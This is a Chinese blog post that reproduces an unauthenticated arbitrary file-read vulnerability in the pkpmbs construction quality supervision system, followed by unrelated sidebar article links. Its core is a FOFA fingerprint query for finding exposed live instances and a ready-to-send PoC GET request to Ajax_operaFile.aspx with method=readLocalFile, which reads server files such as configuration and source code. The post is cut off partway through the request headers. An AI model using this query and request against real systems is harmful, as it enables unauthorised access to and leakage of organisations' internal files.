pkpmbs 建设工程质量监督系统 Ajax_operaFile.aspx 文件读取漏洞复现

  • 开发
  • 30

0x01 产品简介

pkpmbs 建设工程质量监督系统是湖南建研信息技术股份有限公司一个与工程质量检测管理系统相结合的，B/S架构的检测信息监管系统。

0x02 漏洞概述

pkpmbs 建设工程质量监督系统 Ajax_operaFile.aspx接口处存在文件读取漏洞，未经身份认证的攻击者可以利用漏洞读取系统内部配置文件或源码，造成信息泄露，导致系统处于极不安全的状态。

0x03 复现环境

FOFA：icon_hash="2001627082"

0x04 漏洞复现

PoC

GET /Applications/BaseInfos/System/Ajax_operaFile.aspx?method=readLocalFile&path=/Applications/BaseInfos/System/Ajax_operaFile.aspx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=
阅读全部

相关推荐

最近更新

  3. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-30 07:06:02       98 阅读

  4. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-30 07:06:02       106 阅读

  9. 在Django里面运行非项目文件

    2024-04-30 07:06:02       87 阅读

  19. Python语言-面向对象

    2024-04-30 07:06:02       96 阅读

  20. 如何分清楚常见的 Git 分支管理策略Git Flow、GitHub Flow 和 GitLab Flow

    2024-04-30 07:06:02       91 阅读

热门阅读

  1. Chrome 插件如何开发？

    2024-04-30 07:06:02       33 阅读

  4. npm详解

    2024-04-30 07:06:02       37 阅读

  9. 贪心算法基础题(第三十三天)

    2024-04-30 07:06:02       38 阅读

  11. 从零手写实现 apache Tomcat-01-入门介绍

    2024-04-30 07:06:02       38 阅读

  15. 微信小程序实现用户手机号授权

    2024-04-30 07:06:02       33 阅读

  17. 人工智能论文：GPT, GPT-2, GPT-3 对比和演进的思路

    2024-04-30 07:06:02       28 阅读

  21. webpack 区分环境

    2024-04-30 07:06:02       30 阅读

  23. 图搜索算法详解

    2024-04-30 07:06:02       23 阅读